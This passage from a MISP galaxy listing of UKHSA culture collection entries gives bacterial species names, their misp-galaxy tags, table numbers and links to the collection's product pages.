https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-israel

Salmonella enterica subsp. enterica serotype Homosassa

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Homosassa"*

Table 28393. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-homosassa

Salmonella enterica subsp. enterica serotype Hessarek

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Hessarek"*

Table 28394. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-hessarek

Propionibacterium acnes subsp. elongatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium acnes subsp. elongatum"*

Table 28395. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-acnes-subsp-elongatum

Clostridium aerotolerans

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium aerotolerans"*

Table 28396. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-aerotolerans

Streptococcus gallolyticus subsp. pasteurianus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus gallolyticus subsp. pasteurianus"*

Table 28397. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-gallolyticus-subsp-pasteurianus

Anaerospora hongkongensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Anaerospora hongkongensis"*

Table 28398. Table References

Links
https://www.culturecollections.org.uk/nop/product/anaerospora-hongkongensis

Staphylococcus aureus subsp. aureus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus aureus subsp. aureus"*

Table 28399. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-aureus-subsp-aureus

Staphylococcus stepanovicii

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus stepanovicii"*

Table 28400. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-stepanovicii

Staphylococcus simiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus simiae"*

Table 28401. Table References

Links

https://www.culturecollections.org.uk/nop/product/staphylococcus-simiae

Staphylococcus petrasii

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus petrasii"*

Table 28402. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-petrasii

Staphylococcus microti

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus microti"*

Table 28403. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-microti

Staphylococcus jettensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus jettensis"*

Table 28404. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-jettensis

Staphylococcus carnosus subsp. utilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus carnosus subsp. utilis"*

Table 28405. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-carnosus-subsp-utilis

Staphylococcus carnosus subsp. carnosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus carnosus subsp. carnosus"*

Table 28406. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-carnosus-subsp-carnosus

Achromobacter insolitus

The tag is: *misp-galaxy:ukhsa-culture-collections="Achromobacter insolitus"*

Table 28407. Table References

Links
https://www.culturecollections.org.uk/nop/product/achromobacter-insolitus

Pasteurella aerogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella aerogenes"*

Table 28408. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-aerogenes

Pannonibacter phragmitetus

The tag is: *misp-galaxy:ukhsa-culture-collections="Pannonibacter phragmitetus"*

Table 28409. Table References

Links
https://www.culturecollections.org.uk/nop/product/pannonibacter-phragmitetus

Suttonella ornithocola

The tag is: *misp-galaxy:ukhsa-culture-collections="Suttonella ornithocola"*

Table 28410. Table References

Links
https://www.culturecollections.org.uk/nop/product/suttonella-ornithocola

Kingella potus

The tag is: *misp-galaxy:ukhsa-culture-collections="Kingella potus"*

Table 28411. Table References

Links
https://www.culturecollections.org.uk/nop/product/kingella-potus

Haemophilus pittmaniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus pittmaniae"*

Table 28412. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-pittmaniae
https://www.culturecollections.org.uk/nop/product/haemophilus-pittmaniae-2

Legionella busanensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella busanensis"*

Table 28413. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-busanensis

Legionella beliardensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella beliardensis"*

Table 28414. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-beliardensis

Legionella taurinensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella taurinensis"*

Table 28415. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-taurinensis

Rhodococcus gordoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodococcus gordoniae"*

Table 28416. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodococcus-gordoniae

Cardiobacterium valvarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Cardiobacterium valvarum"*

Table 28417. Table References

Links
https://www.culturecollections.org.uk/nop/product/cardiobacterium-valvarum

Roseomonas mucosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Roseomonas mucosa"*

Table 28418. Table References

Links
https://www.culturecollections.org.uk/nop/product/roseomonas-mucosa

Roseomonas gilardii subsp. rosea

The tag is: *misp-galaxy:ukhsa-culture-collections="Roseomonas gilardii subsp. rosea"*

Table 28419. Table References

Links
https://www.culturecollections.org.uk/nop/product/roseomonas-gilardii-subsp-rosea

Bordetella hinzii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella hinzii"*

Table 28420. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-hinzii-2
https://www.culturecollections.org.uk/nop/product/bordetella-hinzii-3
https://www.culturecollections.org.uk/nop/product/bordetella-hinzii

Streptococcus constellatus subsp. pharyngis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus constellatus subsp. pharyngis"*

Table 28421. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-constellatus-subsp-pharyngis

Prevotella intermedia

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella intermedia"*

Table 28422. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-intermedia

Bifidobacterium bifidum

The tag is: *misp-galaxy:ukhsa-culture-collections="Bifidobacterium bifidum"*

Table 28423. Table References

Links
https://www.culturecollections.org.uk/nop/product/bifidobacterium-bifidum-2
https://www.culturecollections.org.uk/nop/product/bifidobacterium-bifidum

Moraxella boevrei

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella boevrei"*

Table 28424. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-boevrei

Phocoenobacter uteri

The tag is: *misp-galaxy:ukhsa-culture-collections="Phocoenobacter uteri"*

Table 28425. Table References

Links
https://www.culturecollections.org.uk/nop/product/phocoenobacter-uteri

Bartonella grahamii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella grahamii"*

Table 28426. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-grahamii

Legionella birminghamensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella birminghamensis"*

Table 28427. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-birminghamensis

Enterococcus mundtii

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus mundtii"*

Table 28428. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-mundtii-2
https://www.culturecollections.org.uk/nop/product/enterococcus-mundtii

Enterococcus casseliflavus

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus casseliflavus"*

Table 28429. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-casseliflavus-3
https://www.culturecollections.org.uk/nop/product/enterococcus-casseliflavus
https://www.culturecollections.org.uk/nop/product/enterococcus-casseliflavus-2

Vibrio alginolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio alginolyticus"*

Table 28430. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-alginolyticus-3
https://www.culturecollections.org.uk/nop/product/vibrio-alginolyticus-2
https://www.culturecollections.org.uk/nop/product/vibrio-alginolyticus

Pasteurella testudinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella testudinis"*

Table 28431. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-testudinis

Serratia ficaria

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia ficaria"*

Table 28432. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-ficaria

Bordetella avium

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella avium"*

Table 28433. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-avium
https://www.culturecollections.org.uk/nop/product/bordetella-avium-2

Veillonella ratti

The tag is: *misp-galaxy:ukhsa-culture-collections="Veillonella ratti"*

Table 28434. Table References

Links
https://www.culturecollections.org.uk/nop/product/veillonella-ratti

Legionella israelensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella israelensis"*

Table 28435. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-israelensis

Providencia heimbachae

The tag is: *misp-galaxy:ukhsa-culture-collections="Providencia heimbachae"*

Table 28436. Table References

Links

https://www.culturecollections.org.uk/nop/product/providencia-heimbachae
https://www.culturecollections.org.uk/nop/product/providencia-heimbachae-2

Pasteurella multocida subsp. septica

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella multocida subsp. septica"*

Table 28437. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-subsp-septica-3
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-subsp-septica
https://www.culturecollections.org.uk/nop/product/pasteurella-multocida-subsp-septica-2

Legionella steigerwaltii

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella steigerwaltii"*

Table 28438. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-steigerwaltii

Legionella spiritensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella spiritensis"*

Table 28439. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-spiritensis
https://www.culturecollections.org.uk/nop/product/legionella-spiritensis-2

Legionella rubrilucens

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella rubrilucens"*

Table 28440. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-rubrilucens

Tatlockia maceachernii

The tag is: *misp-galaxy:ukhsa-culture-collections="Tatlockia maceachernii"*

Table 28441. Table References

Links
https://www.culturecollections.org.uk/nop/product/tatlockia-maceachernii

Legionella jamestowniensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella jamestowniensis"*

Table 28442. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-jamestowniensis

Legionella erythra

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella erythra"*

Table 28443. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-erythra

Oerskovia turbata

The tag is: *misp-galaxy:ukhsa-culture-collections="Oerskovia turbata"*

Table 28444. Table References

Links
https://www.culturecollections.org.uk/nop/product/oerskovia-turbata

Alcaligenes piechaudii

The tag is: *misp-galaxy:ukhsa-culture-collections="Alcaligenes piechaudii"*

Table 28445. Table References

Links
https://www.culturecollections.org.uk/nop/product/alcaligenes-piechaudii
https://www.culturecollections.org.uk/nop/product/alcaligenes-piechaudii-2

Yokenella regensburgei

The tag is: *misp-galaxy:ukhsa-culture-collections="Yokenella regensburgei"*

Table 28446. Table References

Links
https://www.culturecollections.org.uk/nop/product/yokenella-regensburgei
https://www.culturecollections.org.uk/nop/product/yokenella-regensburgei-4
https://www.culturecollections.org.uk/nop/product/yokenella-regensburgei-2
https://www.culturecollections.org.uk/nop/product/yokenella-regensburgei-3

Campylobacter jejuni subsp. doylei

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter jejuni subsp. doylei"*

Table 28447. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei-7
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei-5
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei-2
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei-3
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei-4
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei-9
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei-6
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei
https://www.culturecollections.org.uk/nop/product/campylobacter-jejuni-subsp-doylei-8

Vibrio mediterranei

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio mediterranei"*

Table 28448. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-mediterranei

Actinomyces slackii

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces slackii"*

Table 28449. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-slackii

Eubacterium fossor

The tag is: *misp-galaxy:ukhsa-culture-collections="Eubacterium fossor"*

Table 28450. Table References

Links
https://www.culturecollections.org.uk/nop/product/eubacterium-fossor

Corynebacterium jeikeium

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium jeikeium"*

Table 28451. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-jeikeium-4
https://www.culturecollections.org.uk/nop/product/corynebacterium-jeikeium-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-jeikeium
https://www.culturecollections.org.uk/nop/product/corynebacterium-jeikeium-3

Propionibacterium granulosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium granulosum"*

Table 28452. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-granulosum-2
https://www.culturecollections.org.uk/nop/product/propionibacterium-granulosum

Listeria ivanovii subsp. ivanovii

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria ivanovii subsp. ivanovii"*

Table 28453. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-ivanovii-subsp-ivanovii-2
https://www.culturecollections.org.uk/nop/product/listeria-ivanovii-subsp-ivanovii

Collinsella aerofaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Collinsella aerofaciens"*

Table 28454. Table References

Links
https://www.culturecollections.org.uk/nop/product/collinsella-aerofaciens

Clostridium hastiforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium hastiforme"*

Table 28455. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-hastiforme

Veillonella dispar

The tag is: *misp-galaxy:ukhsa-culture-collections="Veillonella dispar"*

Table 28456. Table References

Links
https://www.culturecollections.org.uk/nop/product/veillonella-dispar

Blautia producta

The tag is: *misp-galaxy:ukhsa-culture-collections="Blautia producta"*

Table 28457. Table References

Links
https://www.culturecollections.org.uk/nop/product/blautia-producta

Falcivibrio vaginalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Falcivibrio vaginalis"*

Table 28458. Table References

Links
https://www.culturecollections.org.uk/nop/product/falcivibrio-vaginalis

Falcivibrio grandis

The tag is: *misp-galaxy:ukhsa-culture-collections="Falcivibrio grandis"*

Table 28459. Table References

Links
https://www.culturecollections.org.uk/nop/product/falcivibrio-grandis

Bifidobacterium longum

The tag is: *misp-galaxy:ukhsa-culture-collections="Bifidobacterium longum"*

Table 28460. Table References

Links
https://www.culturecollections.org.uk/nop/product/bifidobacterium-longum

Bifidobacterium longum subsp. infantis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bifidobacterium longum subsp. infantis"*

Table 28461. Table References

Links
https://www.culturecollections.org.uk/nop/product/bifidobacterium-longum-subsp-infantis

Bifidobacterium dentium

The tag is: *misp-galaxy:ukhsa-culture-collections="Bifidobacterium dentium"*

Table 28462. Table References

Links
https://www.culturecollections.org.uk/nop/product/bifidobacterium-dentium

Bifidobacterium breve

The tag is: *misp-galaxy:ukhsa-culture-collections="Bifidobacterium breve"*

Table 28463. Table References

Links
https://www.culturecollections.org.uk/nop/product/bifidobacterium-breve-2
https://www.culturecollections.org.uk/nop/product/bifidobacterium-breve

Eggerthella lenta

The tag is: *misp-galaxy:ukhsa-culture-collections="Eggerthella lenta"*

Table 28464. Table References

Links
https://www.culturecollections.org.uk/nop/product/eggerthella-lenta

Clostridium indolis

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium indolis"*

Table 28465. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-indolis

Veillonella parvula

The tag is: *misp-galaxy:ukhsa-culture-collections="Veillonella parvula"*

Table 28466. Table References

Links
https://www.culturecollections.org.uk/nop/product/veillonella-parvula-3
https://www.culturecollections.org.uk/nop/product/veillonella-parvula

Veillonella alkalescens subsp. alkalescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Veillonella alkalescens subsp. alkalescens"*

Table 28467. Table References

Links
https://www.culturecollections.org.uk/nop/product/veillonella-alkalescens-subsp-alkalescens

Staphylococcus saccharolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus saccharolyticus"*

Table 28468. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-saccharolyticus

Anaerococcus prevotii

The tag is: *misp-galaxy:ukhsa-culture-collections="Anaerococcus prevotii"*

Table 28469. Table References

Links
https://www.culturecollections.org.uk/nop/product/anaerococcus-prevotii

Finegoldia magna

The tag is: *misp-galaxy:ukhsa-culture-collections="Finegoldia magna"*

Table 28470. Table References

Links
https://www.culturecollections.org.uk/nop/product/finegoldia-magna

Bergeyella zoohelcum

The tag is: *misp-galaxy:ukhsa-culture-collections="Bergeyella zoohelcum"*

Table 28471. Table References

Links
https://www.culturecollections.org.uk/nop/product/bergeyella-zoohelcum
https://www.culturecollections.org.uk/nop/product/bergeyella-zoohelcum-3
https://www.culturecollections.org.uk/nop/product/bergeyella-zoohelcum-2

Mobiluncus mulieris

The tag is: *misp-galaxy:ukhsa-culture-collections="Mobiluncus mulieris"*

Table 28472. Table References

Links
https://www.culturecollections.org.uk/nop/product/mobiluncus-mulieris
https://www.culturecollections.org.uk/nop/product/mobiluncus-mulieris-6
https://www.culturecollections.org.uk/nop/product/mobiluncus-mulieris-5
https://www.culturecollections.org.uk/nop/product/mobiluncus-mulieris-2
https://www.culturecollections.org.uk/nop/product/mobiluncus-mulieris-3
https://www.culturecollections.org.uk/nop/product/mobiluncus-mulieris-4

Mobiluncus curtisii subsp. curtisii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mobiluncus curtisii subsp. curtisii"*

Table 28473. Table References

Links
https://www.culturecollections.org.uk/nop/product/mobiluncus-curtisii-subsp-curtisii

Mobiluncus curtisii subsp. holmesii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mobiluncus curtisii subsp. holmesii"*

Table 28474. Table References

Links
https://www.culturecollections.org.uk/nop/product/mobiluncus-curtisii-subsp-holmesii

Capnocytophaga sputigena

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga sputigena"*

Table 28475. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-sputigena
https://www.culturecollections.org.uk/nop/product/capnocytophaga-sputigena-2

Pasteurella canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella canis"*

Table 28476. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-canis-2
https://www.culturecollections.org.uk/nop/product/pasteurella-canis
https://www.culturecollections.org.uk/nop/product/pasteurella-canis-3

Pasteurella dagmatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella dagmatis"*

Table 28477. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-dagmatis-2
https://www.culturecollections.org.uk/nop/product/pasteurella-dagmatis
https://www.culturecollections.org.uk/nop/product/pasteurella-dagmatis-3

Helicobacter fennelliae

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter fennelliae"*

Table 28478. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-fennelliae-2
https://www.culturecollections.org.uk/nop/product/helicobacter-fennelliae-3
https://www.culturecollections.org.uk/nop/product/helicobacter-fennelliae
https://www.culturecollections.org.uk/nop/product/helicobacter-fennelliae-4

Anaerobiospirillum succiniciproducens

The tag is: *misp-galaxy:ukhsa-culture-collections="Anaerobiospirillum succiniciproducens"*

Table 28479. Table References

Links
https://www.culturecollections.org.uk/nop/product/anaerobiospirillum-succiniciproducens

Actinomyces bovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces bovis"*

Table 28480. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-bovis-6
https://www.culturecollections.org.uk/nop/product/actinomyces-bovis-2
https://www.culturecollections.org.uk/nop/product/actinomyces-bovis
https://www.culturecollections.org.uk/nop/product/actinomyces-bovis-3
https://www.culturecollections.org.uk/nop/product/actinomyces-bovis-4
https://www.culturecollections.org.uk/nop/product/actinomyces-bovis-5

Actinomyces denticolens

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces denticolens"*

Table 28481. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-denticolens

Wolinella succinogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Wolinella succinogenes"*

Table 28482. Table References

Links
https://www.culturecollections.org.uk/nop/product/wolinella-succinogenes

Gallibacterium anatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Gallibacterium anatis"*

Table 28483. Table References

Links
https://www.culturecollections.org.uk/nop/product/gallibacterium-anatis

Legionella gormanii

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella gormanii"*

Table 28484. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-gormanii

Fluoribacter dumoffii

The tag is: *misp-galaxy:ukhsa-culture-collections="Fluoribacter dumoffii"*

Table 28485. Table References

Links
https://www.culturecollections.org.uk/nop/product/fluoribacter-dumoffii
https://www.culturecollections.org.uk/nop/product/fluoribacter-dumoffii-2

Fluoribacter bozemanae

The tag is: *misp-galaxy:ukhsa-culture-collections="Fluoribacter bozemanae"*

Table 28486. Table References

Links
https://www.culturecollections.org.uk/nop/product/fluoribacter-bozemanae
https://www.culturecollections.org.uk/nop/product/fluoribacter-bozemanae-2
https://www.culturecollections.org.uk/nop/product/fluoribacter-bozemanae-3

Fusobacterium nucleatum subsp. fusiforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium nucleatum subsp. fusiforme"*

Table 28487. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-nucleatum-subsp-fusiforme-2

Streptococcus intermedius

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus intermedius"*

Table 28488. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-intermedius

Gemella morbillorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Gemella morbillorum"*

Table 28489. Table References

Links
https://www.culturecollections.org.uk/nop/product/gemella-morbillorum

Vibrio natriegens

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio natriegens"*

Table 28490. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-natriegens

Vibrio campbellii

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio campbellii"*

Table 28491. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-campbellii

Listonella pelagia

The tag is: *misp-galaxy:ukhsa-culture-collections="Listonella pelagia"*

Table 28492. Table References

Links

https://www.culturecollections.org.uk/nop/product/listonella-pelagia

Nocardia brasiliensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardia brasiliensis"*

Table 28493. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardia-brasiliensis-2
https://www.culturecollections.org.uk/nop/product/nocardia-brasiliensis

Nocardia asteroides

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardia asteroides"*

Table 28494. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardia-asteroides-2
https://www.culturecollections.org.uk/nop/product/nocardia-asteroides

Streptococcus acidominimus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus acidominimus"*

Table 28495. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-acidominimus
https://www.culturecollections.org.uk/nop/product/streptococcus-acidominimus-3
https://www.culturecollections.org.uk/nop/product/streptococcus-acidominimus-2

Moraxella (branhamella) ovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella (branhamella) ovis"*

Table 28496. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-ovis-3
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-ovis
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-ovis-2
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-ovis-4

Avibacterium gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Avibacterium gallinarum"*

Table 28497. Table References

Links
https://www.culturecollections.org.uk/nop/product/avibacterium-gallinarum

Taylorella equigenitalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Taylorella equigenitalis"*

Table 28498. Table References

Links
https://www.culturecollections.org.uk/nop/product/taylorella-equigenitalis
https://www.culturecollections.org.uk/nop/product/taylorella-equigenitalis-2
https://www.culturecollections.org.uk/nop/product/taylorella-equigenitalis-5
https://www.culturecollections.org.uk/nop/product/taylorella-equigenitalis-3
https://www.culturecollections.org.uk/nop/product/taylorella-equigenitalis-4

Myroides odoratimimus

The tag is: *misp-galaxy:ukhsa-culture-collections="Myroides odoratimimus"*

Table 28499. Table References

Links
https://www.culturecollections.org.uk/nop/product/myroides-odoratimimus

Iodobacter fluviatilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Iodobacter fluviatilis"*

Table 28500. Table References

Links
https://www.culturecollections.org.uk/nop/product/iodobacter-fluviatilis
https://www.culturecollections.org.uk/nop/product/iodobacter-fluviatilis-3

Tissierella praeacuta

The tag is: *misp-galaxy:ukhsa-culture-collections="Tissierella praeacuta"*

Table 28501. Table References

Links
https://www.culturecollections.org.uk/nop/product/tissierella-praeacuta

Prevotella bivia

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella bivia"*

Table 28502. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-bivia

Bacteroides eggerthii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides eggerthii"*

Table 28503. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-eggerthii

Bacteroides ovatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides ovatus"*

Table 28504. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-ovatus

Bacteroides distasonis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides distasonis"*

Table 28505. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-distasonis

Moraxella atlantae

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella atlantae"*

Table 28506. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-atlantae

https://www.culturecollections.org.uk/nop/product/moraxella-atlantae-5
https://www.culturecollections.org.uk/nop/product/moraxella-atlantae-4
https://www.culturecollections.org.uk/nop/product/moraxella-atlantae-3
https://www.culturecollections.org.uk/nop/product/moraxella-atlantae-2

Streptococcus pleomorphus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus pleomorphus"*

Table 28507. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-pleomorphus

Propioniferax innocua

The tag is: *misp-galaxy:ukhsa-culture-collections="Propioniferax innocua"*

Table 28508. Table References

Links
https://www.culturecollections.org.uk/nop/product/propioniferax-innocua-2
https://www.culturecollections.org.uk/nop/product/propioniferax-innocua

Neisseria elongata subsp. glycolytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria elongata subsp. glycolytica"*

Table 28509. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-elongata-subsp-glycolytica

Kytococcus sedentarius

The tag is: *misp-galaxy:ukhsa-culture-collections="Kytococcus sedentarius"*

Table 28510. Table References

Links
https://www.culturecollections.org.uk/nop/product/kytococcus-sedentarius

Micrococcus lylae

The tag is: *misp-galaxy:ukhsa-culture-collections="Micrococcus lylae"*

Table 28511. Table References

Links
https://www.culturecollections.org.uk/nop/product/micrococcus-lylae-2
https://www.culturecollections.org.uk/nop/product/micrococcus-lylae

Myroides odoratus

The tag is: *misp-galaxy:ukhsa-culture-collections="Myroides odoratus"*

Table 28512. Table References

Links
https://www.culturecollections.org.uk/nop/product/myroides-odoratus
https://www.culturecollections.org.uk/nop/product/myroides-odoratus-2

Blautia coccoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Blautia coccoides"*

Table 28513. Table References

Links
https://www.culturecollections.org.uk/nop/product/blautia-coccoides

Slackia heliotrinireducens

The tag is: *misp-galaxy:ukhsa-culture-collections="Slackia heliotrinireducens"*

Table 28514. Table References

Links
https://www.culturecollections.org.uk/nop/product/slackia-heliotrinireducens

Moraxella (branhamella) catarrhalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella (branhamella) catarrhalis"*

Table 28515. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-catarrhalis-5
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-catarrhalis-4
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-catarrhalis
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-catarrhalis-3

https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-catarrhalis-2

Riemerella anatipestifer

The tag is: *misp-galaxy:ukhsa-culture-collections="Riemerella anatipestifer"*

Table 28516. Table References

Links
